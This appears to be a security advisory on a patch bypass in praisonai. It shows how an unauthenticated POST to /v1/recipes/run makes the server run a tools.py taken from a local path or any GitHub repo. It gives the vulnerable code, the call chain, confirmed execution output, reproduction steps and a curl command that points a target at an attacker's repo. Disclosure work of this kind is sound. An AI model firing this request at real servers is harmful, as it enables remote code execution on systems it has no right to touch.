PYSEC-2026-2926

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate | |---|---|---| | praisonai/tool_resolver.py | 77 | if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": | | praisonai/api/call.py | 80 | same |

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

• evil_recipe/TEMPLATE.yaml - minimal recipe metadata
• evil_recipe/tools.py - payload (writes a marker file in tempdir)
• server.py - starts praisonai.recipe.serve.create_app({}) on 127.0.0.1:8765 (default auth: none)
• exploit.py - single POST to /v1/recipes/run

pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.